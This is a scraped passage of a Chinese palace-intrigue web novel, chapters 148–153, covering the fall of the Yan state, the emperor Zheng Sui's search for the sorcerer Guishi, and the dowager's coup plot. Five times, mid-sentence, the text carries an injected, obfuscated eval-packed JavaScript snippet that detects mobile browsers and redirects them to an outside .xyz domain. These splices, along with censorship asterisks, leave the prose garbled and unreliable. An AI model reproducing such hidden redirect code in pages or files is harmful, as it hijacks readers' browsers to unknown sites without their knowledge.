结果等他们反应过来的时候,也已经来不及了。 不过到底镇国公手底下有不少兵马,若是能撕破脸和单于真刀**的干上一场,也未必会落得后来的那个下场。 只是攘外必先安内,当时慕容泓被挟持,生死未卜。 就算是镇国公先行将单于拉下水,可期中未免会有想要浑水摸鱼的人。 比如说大燕皇室的其他皇子的母族,虽然曾经式微,根本不敢与他们相较量,但此刻有了单于,他们未必不会为了自家,而主动向单于示好。 第148章 有人告诉了他 “所以,镇国公觉得,与其到时候遭到暗算,倒不如先去试探一下单于的虚实。”影巫说道。 镇国公便假借投诚,前往皇宫中,与单于会见。 一来是想看一看慕容泓是否还活着,二来是想看一看这茶叶有几分把握能够坐稳这皇位。 但单于偏偏就是比镇国公多想了一层,二人会面言语交谈间,单于透露出了一些慕容泓已经思雨重病的消息,还虚情假意的说,他并行显着其实只是为了保住自己的部落,并无他想,大燕的皇位终究还是要交到大燕自己的子民手中的。 镇国公虽然没有相信单于的话,但在表面上却接受了单于提出的建议。 替他主推外边的敌军,夺回部落,扶持三皇子上。 镇国公原本是想着,先假意答应下来,在暗中探听到单于的软肋,借此狠狠一刀扎下去,名正言顺地将大燕国土夺回来。 却没有想到,正是因为他这番犹豫,让单于抓到了机会。 镇国公走后,单于即刻就将事情告诉给了被他幽禁在深宫之中的慕容泓。 隐去了自己言语诱导的部分,将镇国公与自己的交流,美化了一番,变成了镇国公主动邀请他参与谋逆反叛,还威胁他,说如果他不答应,以镇国公手中的军权,就算是最后两败俱伤,也要了他的命。 慕容泓当时被幽禁在宫中,身体一日不如一日,人也有些疯疯癫癫的。 得到了这个消息之后,慕容泓受了极大的刺激。 当即就在宫中大骂了一场。 说着什么太子是个蠢货,三皇子亦是心肠歹毒,他的这些儿子们,竟然没有一个靠得住的。 单于见火候差不多,就直接退居幕后,任由慕容泓发挥。 慕容泓做的第一件事,不是找单于清算,而是派人去毒杀镇国公和三皇子。 等到镇国公意识到慕容泓还活着的时候,就发现自己中计了,可已经来不及了。 两方兵戎相见,再也没有挽回的余地。 镇国公就算是再不情愿,也只能拼死一战。 最终,两方都没有占到便宜,反而是坐收渔利的单于趁虚而入,直接让自己分批次召来大燕的匈奴将士正式入侵。 两方不肯合作共同抵抗匈奴,再加上兵力早就大不如前,最后只有等死的份。 至此,大燕国正式宣告灭亡,整个国土都沦为匈奴的部落,北边那些小国虽也虎视眈眈,可终究在短时间内,已经没有精力和匈奴对抗了。 “不过慕容泓大概也没有想到,他这个本该死的人最后竟然是被慕容冲给救了。”影巫说道。 据传,慕容冲早就在单于的算计之下,带领部队与北边的那些敌军发生激烈冲突,激战之下死于沙场。 但实际上,慕容冲早已悄悄逃离,偷偷回到了王都。 虽然等他回来的时候,单于已经鸠占鹊巢,但慕容冲却使了些计策,率领余数不多的清兵护卫,将慕容泓和他的几个心腹给救了出来,逃离了大燕。 只是怎么也没有想,他们竟然逃到了大齐来,而且看这样子应该是已经隐姓埋名多年,而且就潜伏于京城之外不远的地方。 “陛下,这慕容一族,居心不良。”影巫拱手,“属下恳请陛下,早做决断。” 当初影巫不明白,这慕容冲是直肠直性子,一条道走到黑的人。 既然能率领那么多部队前往边关,必然是为了一个最后能登上皇位的结局。 就算是意识到不对劲,他也没有回头路了,为何不较量到底。 若是真能借着手底下的兵马击退那些小国,往后他们也必然得对慕容冲俯首称臣。 保存了实力,日后再反扑回来复国不好吗? 可他却偏偏选择在战争最激烈的时候选择了激流勇退,还使手段将慕容泓给救了出来,这件事儿一直让影巫百思不得其解。 直到今天,他亲眼见到了慕容冲,才忽然明白了过来。 慕容冲何以在那么关键的节骨眼上,忽然转了性子?他难道真的就有一点点想和单于同归于尽的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287979|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思吗? 不可能的,除非有人千里传讯,将京城中的惨状都告诉给了慕容冲。 让慕容冲已经知道了他成功的概率很低,哪怕是他真的率兵回到了王都去,最多也只能跟单于打个五五开,哪怕是登上了皇位也会被天下百姓所诟病。 所以,他决定给自己留一个战死沙场的好名声,但实际上却悄悄潜伏。 并且那个给他传讯的人交给了他一些手段,才能让他将大燕国最后的核心成员带出来,并且能够潜伏于京城之外这么多年。 试问当时,**王都自己都已经乱成一团,连慕容泓都不能自由出入,谁会千里迢迢的把消息传到慕容冲的耳朵里? 这个人,必然是与皇室没有什么瓜葛,甚至于整个大燕都没有什么太深的交集,但是他说的话却一定能够让慕容冲相信的。 影巫不自觉的想到了一个人。 “你说的是鬼师?”郑遂问道。 影巫沉重的点了点头:“鬼师门面上只有我这一个弟子,但是在那慕容冲的身上,属下却看到了熟悉的影子。” 他的一招一式,与自己有相像之处,但却并不完全相同。 非要论起谁高谁低,影巫说不准。 但同根同源,影巫还是看得出来。 鬼师的许多本事,都是他翻阅了古书籍,自行研究出来的。 就连影巫都不可能学到他最根本的看家本领,就更别提旁人偷偷学去了。 所以只有一个可能,就是鬼师将他的本事,化为了另外一种形式,偷偷的教授给了慕容冲。 这些本事,绝非一日两日能够学会。 所以应该早在事发之前,这二人就已经有所交集了。 若算计鬼师的年龄,时间点也差不多对得上。 “可鬼师为何要这么去做……” 郑遂有些不解。 如若鬼师真的和慕容冲有所交集,能得慕容冲的信任,且还算得上是他半个师父的话,那他应该早早就会发现单于心怀不轨。 第149章 身份有问题 所以为何在那个时候,鬼师没有出言提醒慕容冲,反而让他酿成大祸。 甚至在慕容冲有机会可以反扑的时候,却劝阻了慕容冲呢? 他这番行径,倒像是故意要让大燕灭国似的。 但又保存了大燕的一定实力,调来了他们大齐这边。 难道这鬼师是唯恐天下不乱? 但细想起来却又觉得不可能。 人做任何事,都不可能是没有任何目的的。 郑遂也不相信,会有人生下来就心思扭曲。 他更不相信的是,凭借鬼师一己之力,真的可以使得天下大乱。 他这个人的出身很可疑。 他在其中扮演着什么样的角色? 又因何原因,才使得他如此疯狂呢? “鬼师的**,属下一直不知晓。”影巫说道。 “但隐隐有所耳闻,据说他不是苗疆的人,而是来自于北边某地。” 巫蛊师多半出于苗疆,外地人多半对这些东西不感兴趣,就算是有兴趣想去学习,但当年巫蛊师多半被赶入深山,四散各处,很难寻得其踪迹。 除非,所谓的师父主动找上门来。 这让影巫不得不怀疑,鬼师可能原本就出身于大燕,或者是大燕附近周边的某个国家。 且鬼师本人,是对大燕心怀仇恨的,所以才会做出后来的种种举动。 至于他的那个师父,是在什么时间点上找到了他,还未曾可知。 不过可以确认的是,鬼师本人或者是他身后的某个人,对大齐也虎视眈眈,所以才会在大燕灭国之后装好人,将他们余下的皇室成员,送到了大齐来。 郑遂沉思一番,突然想到了什么,对着影巫招了招手。 “你跟郑来。” 郑遂一路带着影巫前往书库。 正巧路上,路过了寿康宫。 寿康宫已经多日大门紧闭,除了宫墙后边的一处角门,日常会有宫女出入以外,里边的那位主子已经很久没有过动静了,就连南宫治也消停的很。 只是凭借影巫的直觉,还是在路过公墙边的时候,听到了里头传来的一些异样声响。 影巫先是一愣,可随即脸色就红了起来。 他猛的垂下了头,恨不得把下巴都戳进胸口里。 郑遂听着影巫忽然就没动静了,转头朝着影巫的方向看了一眼。 见他一脸窘态,郑遂忍不住哑然失笑。 “你还当真是个小孩子。”郑遂悠悠说道。 影巫的脸更红了。 “不过话说回来……”郑遂顿了顿,嘴角挂上了一抹意味深长的笑容。 “这南宫治岁数不小,体力还挺好。” 影巫当即羞得整个人都快要烧起来了,忍不住轻轻道:“陛下……” “好了,与你开个玩笑罢了。”郑遂轻轻笑了笑,对着影巫招了招手。 “快些来吧。” 寿康宫内,徐妙晴刚刚整理好了自己散乱的鬓发,身后的南宫治又紧挨了上来。 徐妙晴吓了一跳。 这南宫治不知是怎的,最近半点计划都没有了,也没有和徐敬意见过面。 日日就只知道在寿康宫里折磨自己,几乎每一天徐妙晴的身上都酸胀无比,他甚至连南宫治的边儿都不敢挨。 “太后娘娘怕什么……”南宫治俯下身,大手从身后穿过来,轻轻的摸索着徐妙晴的下巴。 “难道奴才在太后娘娘看来,就是这么个不懂得怜香惜玉的人。” 徐妙晴对着铜镜狠狠的瞪了南宫治一眼,想问他是怎么有脸面说出这种话来? 可随即质问的话,又被她咽了回去,嘴唇紧紧的抿成了一条线。 他明面上只剩下了一个太后的尊位了,实际上在南宫治的手底下过得连他宫里的婢女都不如。 他若敢反抗,强权之下,南宫治怎会轻易放过他? 就像上一次,徐妙晴实在受不住,主动和南宫治提议自己功底有许多貌美宫女,他说喜欢可以挑几个去。 那一夜,他几乎被南宫治折磨个半死。 “太后娘娘别恼。”南宫治的声音忽然变得温柔了下来,亲昵地贴着徐妙晴的侧脸厮磨着。 “奴才知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287980|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您心里着急,可有些事儿不是一蹴而就的。您想要成功,得静候时机。” “静候什么时间?”听到这句话,徐妙晴终归是有些忍不住,竟脱口而出。 虽然话一说出口,徐妙晴就后悔了,但心里头的怨气却是一个劲的往上涌。 连看向南宫治的眼神都变得有些幽怨起来。 南宫治却全然没有怪徐妙晴的意思,反而是轻轻的笑了起来。 “当然是等一个合适的可以进攻的时机。”南宫治悠悠说道。 徐妙晴紧紧的咬着嘴唇,眼中满是**。 每一次不管跟他说什么,他的回复都是要等待时机。 可什么才叫做好的时机? 从前,他告诉自己可以找到禁军的下落,结果败了的人却是徐敬意。 如今,他又说要与徐敬意合作,可徐敬意那边已经很久都没有动静了。 她现在真的有些怀疑,南宫治就是故意将自己拖在寿康宫里,不让她有所行动的。 “太后娘娘,您这就有些太心急了。”南宫治说道。 “我那大舅子被韩王下了毒,到现在身体还没大康复。就算太后娘娘您再着急,可也不应该急于这一时。首先人得活着,然后才能有后边的那些事。要不然今天大舅子**,明天徐家就没了主心骨,那郑遂岂不是说动手就动手?” 还指望着到时候能将郑遂一举击垮?做梦去吧! 徐敬意要是先没了命,下一个就是徐妙晴。 谁让她当初是被徐敬意硬塞进宫里来的呢? 他早就成了郑遂的眼中钉肉中刺,郑遂等的可不就是这个时机嘛。 “那你起码要告诉我,你的计划是什么?”徐妙晴有些愤愤的说道。 “当然。”南宫治轻笑一声,“奴才怎么会瞒着太后娘娘呢?其实,大舅子昨日已经传信来了。” 他弯一下身,贴在徐妙晴的耳边低声对她说了些什么。 徐妙晴大惊失色,抬起头来,有些难以置信的看着南宫治。 “你确定?” “当然。”南宫治淡然的点了点头。 第150章 可惜用错了方法 徐妙晴确实听得有些头晕目眩,光是想一想南宫治说的那些话,就已经忍不住脸色发白了。 “可你知不知道这样风险有多高?” “那太后觉得什么时候动手合适?”南宫治似笑非笑地看着徐妙晴。 “还是太后娘娘您觉得,除了陛下大婚时以外,还有什么好机会?” 徐妙晴被南宫治质问的无话可说。 进退两难之下,徐妙晴额头上浮起了一层细密的冷汗。 她微微皱着眉,思虑了许久,才终于硬着头皮开口说道:“郑遂下旨,皇后册封礼时,所有藩王都要到场。” 她转头,定定的看着南宫治。 甭管是平时关系好的,还是早就不来往的,一律都被郑遂请了过来。 其目的到底是什么,纵然徐妙晴只是一个深宫妇人,可她也看得出来。 秦王屡次起兵**,结局已定。 他虽然还活着,但其实和**已经没有什么区别了。 韩王,表面上没有做什么,但徐敬意带回来的那些消息,已经足够给他定罪。 现在差的无非就是一个契机而已。 只要韩王来朝,寻个机会抓住他或是他的心腹手下,一层层审问下去,他犯下的,谋害丞相的罪行,就算是不死,也得脱层皮。 否则郑遂为什么要留徐敬意到现在呢? 郑遂让所有人都来,无非就是为了当着众人的面将他们二人彻底钉死。 众目睽睽之下,所有人亲眼所见,难不成还能说郑遂的决断下的不对? 只怕那些藩王人人自危之下,除了捧郑遂臭脚以外,什么都做不出来。 此举过后,至少有很长一段时间,都不会有藩王再敢**了。 如此一来,郑遂不也就腾出了手来,收拾徐敬意他们了吗? 在这个时候动手,岂不等同于主动拱手向郑遂递上他们的罪证,巴不得郑遂和他们清算吗? “太后娘娘这话就错了。”南宫治打断了许妙晴,“您既然都已经知道,等到两王的事解决之后,下一个倒霉的一定是徐敬意,所以您为什么就不担心担心您自己呢?” 但凡徐敬意倒台,徐家必然获罪。 不管是徐妙晴,还是徐家那些和徐敬意关系向来好,平日里就对他迫不敬重的那些。 甚至与徐敬意不怎么来往,也从未参与过这些事的,都要跟着一起倒霉。 那么在这个时候为何还要做缩头乌龟? 徐妙晴自然知道这个道理,所以她才纠结。 只是她思来想去,还是觉得此事太过于冒险。 那徐敬意身子还没好,手下的人也有不少人已经背叛他。 这么短的时间内,想让徐敬意将自己那些部下笼络回来,又要在婚宴之上对郑遂动手,谈何容易? 况且师出总该有名才是。 为何在徐敬意曾经全力鼎盛的时候都没有对郑遂真正下手,除了那些保皇党的阻拦以外,最重要的不就是名不正言不顺吗? “话说回来,我这大舅子想的可真多。”南宫治悠悠说道。 “如果换做是我自己,已经有权有势,为何还要瞻前顾后的不动手?以至于拖到现在,连后悔都晚了。” 南宫治不屑的嗤笑了一声。 “你懂什么?”徐妙晴懊恼的瞪了南宫治一眼。 “若无法名正言顺,内有老臣,外有藩王,哪个不可以打着清君侧的名义将他从皇位上拉下来?我兄长这是为了能有个万全之策!” 南宫治笑的声音更大了:“这会儿太后倒是想起他是您的兄长了,从前您和他作对的时候,怎么没见您对他有多尊重呢?” 徐妙晴被南宫治狠狠的噎了一下,说不出什么反驳的话来。 只能干瞪着眼,幽怨的看着南宫治。 不过显然此刻南宫治也没有和徐妙晴调笑的心思,本意也不是为了嘲讽她,便正了正色说道。 “所以如今咱们要做的就是个师出有名。” “你在开什么玩笑?”徐妙晴明显不相信。 “话说的倒是轻松,可当日乃是各藩王**最全的时候,哪一个不比咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287981|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更有身份资格?” “那就要费点心思了。”南宫治勾唇一笑,凑近徐妙晴的耳边,低声对她说了些什么。 徐妙晴听的缓缓皱起了眉:“魏王?你怎么会想起他来?” 那魏王郑澹,是所有藩王里最没出息的那一个了。 他的母妃出身高贵,是安远侯的唯一一个嫡女。 当年刚入宫,就直接被封为了妃位。 不出两月,就怀上了魏王,魏王还未出生,先帝就已经破例给她封了贵妃。 可以说若非先帝爱中皇后,再加上之后,魏王实在是没什么本事,他母妃早就已经位及皇贵妃之位,只差一步便可以被继立为皇后了。 可惜,这魏王实在是不争气。 说实在的,这事儿也不能全怪魏王。 当年贵妃入宫的时候,先皇后过世已经有几年了,后位一直虚悬着,虽然先帝本身并没有透露出些太多的册封继后的意图,但是奈何朝中大臣劝说,天下不能没有国母,后宫之中更不能一直没有个管理的人,让先帝早做打算。 先帝这人还算是听劝,所以贵妃入宫之后,先帝所做出来的种种举动,其实都是为了培养贵妃,等到时机合适,便将她继立为皇后,甚至在她还处于贵妃之位的时候,就已经把统管六宫之权交到了她的手上。 这贵妃大概是觉得皇后之位也是她的囊中之物,迟早有一天她是要坐到那个位置上去的。 既然自己都已经成了天底下最珍贵的女人了,那她的儿子未来必也得成为天底下最尊贵的男子。 纵然那个时候郑遂已经被立为太子了,可是当年的郑遂也不过就是个冒鼻涕泡的小孩,学业上也不见得有太大的建树。 就算先帝顾念旧情,可看到了一个更优秀的儿子,难道就不会动了废太子的心思? 于是自打魏王记事起,这贵妃就一直教导魏王,他以后定会成为天下最尊贵的人,本意是想叫他勤学苦练,早点出人头地。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第151章 你是说魏王? 可她的方法却用错了。 寻常人再怎么有野心,再想往上爬,可越是当着外人的面,就越是应该收敛自己的心思。 尤其是在她想扶持自己的儿子登上君主之位的前提下,为人就更得低调了。 她只是扮得一副贤良淑德的模样,讨得先帝的欢心。把心思放在教导魏王上面,时不时的带魏王出来,让先帝看一看他的才能。 一点点的潜移默化,先帝就算是再怎么喜欢郑遂,可想法也未必不会有一点改变吧? 可偏偏贵妃太张扬了。 她几乎事事都想让先帝看到自己的好,各方面都要拔尖。 甚至遇到那种**宫且受先帝宠爱的妃嫔,也会心生忌惮。 可她忘了,先帝的精力全放在前朝,不理会后宫的事,但是后宫她可不是独一份的尊贵。 就不论那些同样出身高贵的妃嫔了,当年太皇太后可是还在世的。 同样是在后宫之中摸爬滚打才能坐上高位的女人,又哪里会看不出贵妃的心思? 不过那会儿先帝一切都规划好了,太厚也不方便明说,于是便静观其变。 任由着贵妃张扬,等待她出错的那一天。 终于,在她的教导之下,她的儿子魏王慢慢的和她长成了一个模样。 还是个三四岁的孩童时,便在宫里欺凌其他皇子公主。 看在他母妃出身高贵,而且离皇后之位也只有一步之遥的份上,其他的嫔妃都躲着她,让着她也教导自己的孩子,不要与魏王争执。 可他千不该万不该,惹到了郑遂的头上。 先帝与先太后相识于微时,是青梅竹马一同长大的。 在先帝还是诸位皇子中最普通不过的那一个时,先太后就一直陪伴在他身边。 无论发生什么都不离不弃,二人之间无话不谈,在她的面前先帝从来都没有过什么后宫不得干政的规矩。 甚至在先帝成为皇帝之后,他也曾为皇后空置后宫。 要不是皇后出面劝说,加之前朝老臣的压力太大,先帝也不会广大后宫的。 而就是在二人感情最浓烈的时候,郑遂出生了,先皇后又是因此而死。 她早早的就成为了皇帝的白月光,又只留下了这么一个宝贝疙瘩,纵然郑遂再有怎么不是的地方,皇帝只要是能忍的就绝对不会责怪于他。 魏王胆子忒大,竟然敢去惹郑遂。 他把当时年幼体弱的郑遂吓的病了好几天起不来床,还是太皇太后亲自把这件事告诉给了先帝,先帝怎能不处置他们母子。 要不是看在安远侯求情的份儿,贵妃早就被废了,哪里还能保留她的尊容?就更别提什么皇贵妃、皇后之位了。 不过从那之后,贵妃就被先帝给冷落了。 她从前做过了太多的错事,得罪了太多的人,自从她落魄之后,就成了后宫中的众矢之的。 没过几年她就郁郁寡欢,抱病而终了。 至于魏王,所以是念在亲生儿子的份上,只是打了他一顿,没有做更多的处置,但魏王在宫中的处境也大大不如从前。 人家清河王,在未封王之前就已经有了自己的府邸,那是因为太祖心疼他。 而魏王却是在未成年时就已经被赶了出来,无名无份的,就是个光头皇子,独自凄苦的在外生活了许多年。 要不是因为先帝在临终前病重的那几年,想到了自己这个儿子,觉得老是这么薄待他也不好,又想着他母族早已大不如前,这才给了封号。 不过旁的藩王都封为了亲王,除了几个年纪小的只封了郡王,只等待着以后郑遂出人头地了再去封,也算是能让郑遂讨个好名声。 唯独魏王,年纪也不小了,却还只坐在一个郡王的位置上。 封地也是又偏又远,小的可怜。 “你难道是想以他为刀?”徐妙晴思来想去,心中终于有了一个答案。 南宫治挑了挑眉:“您想想,他母妃在世的时候,可一直以未来太子的规矩教导他。突然有一天,他原本以为自己会拥有的一切都没了,他怎么会甘心?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287982|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这话说的很没道理。”徐妙晴皱眉说道。 “就算魏王不甘心,可他母妃被废的时候他也还小,能懂什么事?再说了,他被打压了这么多年,早就无权无势,你指望他来起这个头?” 南宫治的意思徐妙晴明白。 郑遂不就是想借着皇后的册封里将事情闹大吗? 那他们就顺势添一把火。 有了魏王带头,其他那些早就有异心的藩王怎会忍得住? 到时候他们争来斗去,郑遂的精力也会大大的被分散,正一来二去之下,不就到了他们该出手的时机了吗? 别管实际上郑遂和徐敬意有多么的势同水火,但是当着外人的面,徐敬意这次归来可是没有受到郑遂的任何处罚,徐敬意还是那个“忠臣”。 一个忠臣,一个太后,两方联手,出面帮郑遂平息藩王的叛乱,岂不是名正言顺? 到时候再想想办法,让郑遂悄无声息的死于这场混战之中,他们真正的机会不就到了吗? “太后放心,就算那时候魏王不懂事,他也绝对不会忘记自己受过的那些耻辱的。” 哪怕当年不懂,可他龟缩在封闭那么多年闭门不出,过的日子还不如楚王一个病秧子好,他心里怎会不恨? 而且他在这件事里本来就不需要真正的去做些什么,南宫治要的只是他牵个头而已。 “就算你心里都已经规划好了。”徐妙晴还是有些不放心。 “可这就是你说的名正言顺吗?” 没错,徐妙晴身为太后,的确是可以为郑遂做主。 可是郑遂**呢? 姓郑的**,坐上皇位的反而姓徐? 这叫哪门子的道理? 只怕到时候众人的讨伐声,会比现在针对秦王的还要响亮。 总归到时候坐上皇位的人肯定要姓郑才对。 “太后娘娘想做女皇为何要急于这一时?”南宫治忽然反问道。 徐妙晴被他问的有些发懵。 这事儿她都多久没提了? 第152章 总不能是得罪了他一个人吧 连她自己都已经不抱指望了,南宫治现在提这个干什么? 却听南宫治悠悠说道:“太后此言差矣,女皇之位为何不能做?只是不能这么着急罢了。而且,比起直接登上女皇之位,您倒不如真正的掌握权力。” 空有女皇这个头衔又能怎么样? 如果世人不认可她,终究也只能借助她背后的势力,那她到时候就与一个傀儡没有任何区别。 倒不如一点点的渗透进权力中心,真正掌握了一些可撼动生死的权利之后,才能让众人对她心服口服。 “所以咱们的确是需要扶持一个姓郑的孩子上。” 徐妙晴缓缓皱起了眉。 先帝留下的诸位皇子中,年纪最小的如今也快十岁了。 十岁,便是已经懂事的年纪。 纵使坐上皇位时懵懵懂懂,但早晚有一天他会察觉过去发生在他身上的那些事意味着什么? 姓郑的人难道会反过来帮他们姓徐的吗?这不可能的。 如果扶持登基的小皇帝,自己长了能耐,变成了如今郑遂这般模样,到时候仍然不好应对。 “但是太后娘娘是否记得,郑遂从前沉于酒色,常常寻花问柳。” 徐妙晴一愣,随即从南宫治,这意味深长的话中品出了点什么。 没错,郑遂身边的美人姬妾不少,有许多早就已经被他抛之脑后。 甚至有在宫外被他临幸过的,郑遂转头就把人家忘了,连名分都没有。 只需随便找个孩子,安上个名头,就说是郑遂流落在外的皇子。 只要郑遂还在世的时候,亲口认下这个孩子,那他就是未来独一无二的太子。 皇帝不在了,太后一手抚育太子,难道不行吗? 更何况还有徐妍呢。 别看徐妍如今投靠了郑遂,可她到底也姓徐。 她除了依靠郑遂以外,没有半点本事,一旦郑遂没了,只要给她点活路,那就必须得牢牢抓住。 那就让她以母后的名义,抚养这个孩子,实则成为他们在暗中操控的傀儡也就罢了。 徐妙晴紧皱的眉头终于缓缓松开。 这个计划,的确不是行不通。 甚至还可能给他们带来很大的回报呢! 只是思来想去,徐妙晴的心又悬了起来。 她转头不确定那看了南宫治一眼:“你确定你的目的只是这么简单?” 难道事成了之后,南宫治什么都不要吗?而且徐敬意那边怎么办? 徐妙晴是不相信南宫治没有任何野心的。 南宫治却微微一笑:“太后娘娘别怕,奴才既然是帮您的,就自然不会让别人占到便宜去。徐敬意,对于我们来说,也不过是一个垫脚石而已。至于奴才自己……” 南宫治忽然嗤笑一声,意味深长的看了一眼徐妙晴。 “纵然太后娘娘不相信,奴才也要堂堂正正的说上一句,奴才的确是没有别的想法。太后娘娘现在怀疑奴才也是理所当然,不过奴才相信时间会证明一切。” 徐妙晴看着南宫治那双深邃的眼,突然心头一跳。 说不清楚心里是什么感觉,也不知道是好是坏,但好像除了继续走下去以外,也没有别的办法了。 —— 郑遂带着影巫到了史库,王喜提前去打了招呼,说今天郑遂要过来寻一些史书,不喜人打扰,所以提前散了守卫和史官,以及干活的那些奴仆杂役。 都换成了自己的人手后,二人才悄悄进入。 “此处,便都是一些史料了。”郑遂说道。 “这些史料与公布在外界的那些大有不同,都是没有经过订正修改的,可以说是最真实的历史,你过来看看吧。” 自己对这个朝代了解的不多,知道的一些事也多来自于原主浅薄的记忆,以及道听途说罢了。 兴许自己所了解到的情况,还不影巫这个自小和鬼师走南闯北的巫蛊师呢。 从这些史料之中查询一下,说不定可以找到他们想要的结果。 影巫得了郑遂的允许,便走上前一一番看起了那些史书。 郑遂百无聊赖,也翻开了一本大齐的发家史。 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287983|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实当朝先祖的发家也算不上是什么光明磊落,至少在礼法上看是这样的。 不过至于大齐是否和大燕之间有过什么恩怨纠葛,郑遂还当真不知情。 很多东西就也只能从这些史**载中寻找了。 不过他看来看去,却也的确没有看出这两方之间曾有过什么矛盾。 作为两个接壤的大国,之所以相处的极为和谐,从未发生过什么激烈的矛盾,甚至未曾兵戎相见过的原因,倒还真不是两方先祖治理的好,而是因为两国虽然接壤,但中间却横亘着一片山川地带。 这就给两国之间形成了一道极为明显的分界线,往北就是大燕,传说中的苦寒之地。 往南是大齐,气候温暖适宜。 所以两国百姓的生存方式也大有不同。 一个是以畜牧为主,而另一个则是以种植业为主。 作战方式,培养军队的法则也大有不同。 所以就注定了两国之间并没有什么矛盾产生,就算是有,各自的君主也要好好思量一下,真正兵戎相见的后果。 正是因为如此,两国之间才不仅和谐相处,甚至还早早就开通了互市。 只不过这个互市也行同于摆设,山路难行,生意哪就那么好做了。 说白了,不过就是一个代表两国之间友好相处的幌子罢了。 可不管是不是真的,至少目的达到了,不是吗? 郑遂翻阅了许久,始终没有搞明白,这鬼师为什么会盯上大燕,又盯上了大齐? 总不能是这两国同时对不起他一个人吧? 若真如此,那鬼师未免也有些太将自己当回事了。 郑遂思索着,一边抬起头去望向影巫那边,却见他垂着头,捧着一本史书看的认真。 “里边写什么了?如此吸引你。”郑遂问道。 影巫回过神来,跑上前,点了点手中的册子。 “陛下您看,这本书讲的就是大燕几十年前的一场战事。” 郑遂垂眸望过去,即便上方详细描述着大燕与周边那些小国的一次激烈对抗。 第153章 何故揪着他不放 册中所记,乃是一场发生在大燕“甲申”年北境的血腥战事。 那场战事距今已经过去足四十余年了。 大燕当时正值幼主登基,因母族式微,以致权柄旁落,国家政事,皆由野心勃勃的摄政王掌控。 这位摄政王意图借开疆拓土,巩固权势,悍然发兵征讨北方众小国。 【王师初捷,拓地三百里……然腊月酷寒,风雪塞途,粮道断绝……姜国设伏于鹰愁涧,以逸待劳……王师中伏,死伤枕藉……摄政王力战重伤,突围仅携亲卫数十。】 【王妃乌雅氏,闻噩耗,携幼子弃府潜逃……追兵四出,终不知所踪……】 记录到此,戛然而止,只留下一个令人胆战心惊的悬念。 郑遂呼吸微微一窒。 一个失去倚仗的王妃,带着一个年幼的孩子,在兵荒马乱、追兵如影随形的情况下仓皇出逃? 其下场,几乎可以预见。 宫廷中的清算,他比任何人都深有体会。 一旦失势便斩草除根,才是亘古不变的铁律。 “影巫。”郑遂抬起头,徐徐望向影巫,眉宇间写满疑惑。 仅仅是前朝一个战败王爷的家眷逃旺,何至于让一个见惯了波诡云谲的巫蛊师如此失态? 影巫猛的找回神智。 他深吸一口气,艰难开口。 “那孩子……那**的幼子……恐怕……” 影巫的声音抖得不成样子,颤颤巍巍伸出手。 “陛下,您往后看。” 郑遂疑惑的又翻了一页,目光扫下去,神色忽然一滞。 影巫的声音再次传来。 “据大燕宫廷秘传,摄政王独子降生时,左肩胛骨下,天生一枚殷红如血、类似于九瓣红莲的……胎记。为追踪此余孽,查验之时皆以此为证。” “红莲胎记?”郑遂瞳孔骤缩,看着影巫变幻莫测的神色,心中已然隐隐有所揣测? 鬼师? 